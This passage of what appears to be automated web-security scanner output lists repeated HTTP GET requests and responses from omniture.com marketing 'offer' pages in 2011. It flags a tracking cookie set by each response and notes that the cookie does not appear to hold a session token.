HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:16 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:16 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:16 GMT Content-Length: 13878 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:16 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Survey: Product Overvi ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/331 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:24:20 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:24:20 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:24:21 GMT Content-Length: 15381 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:24:20 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Where is Interactive Marketing ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/335 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:27:12 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:27:12 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:27:12 GMT Content-Length: 13682 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:27:12 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Insight: Convert Shopp ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/337 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:27:07 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:27:07 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:27:07 GMT Content-Length: 13420 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:27:07 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Insight: Gain Rapid Bu ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/357 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:26:03 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:26:03 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:26:04 GMT Content-Length: 15005 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:26:03 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Is 15% of Your Online Budget Al ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/372 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:44 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:44 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:44 GMT Content-Length: 14022 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:44 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Sprint Measures Impact of Socia ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/400 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:26:16 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:26:16 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:26:16 GMT Content-Length: 15457 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:26:16 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Landing Page Optimization: How ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/411 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:05 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:05 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:05 GMT Content-Length: 14658 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:05 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Merchandising Product ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/412 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:07 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:07 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:07 GMT Content-Length: 14313 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:07 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Guess Shopper Engagement and Si ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/413 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:06 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:06 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:06 GMT Content-Length: 14330 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:06 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>10 Best Practices for Online Me ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/427 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:24:43 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:24:43 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:24:43 GMT Content-Length: 14491 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:24:43 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Is Your SEO Guy Using Facebook? ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/429 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:25:23 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:25:23 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:25:24 GMT Content-Length: 15284 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:25:23 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Measure and Monetize Online Vid ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/435 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:27:11 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:27:11 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:27:11 GMT Content-Length: 13463 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:27:11 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Insight Demo | Omnitur ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/462 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:08 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:08 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:08 GMT Content-Length: 14122 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:08 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Recommendations: Promo ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/704 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:32:19 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:32:19 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:32:19 GMT Content-Length: 13705 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:32:19 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>2009 Search and Email Highlight ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/892 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:24:51 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:24:51 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:24:52 GMT Content-Length: 14043 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:24:51 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Timex uses Omniture SearchCente ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
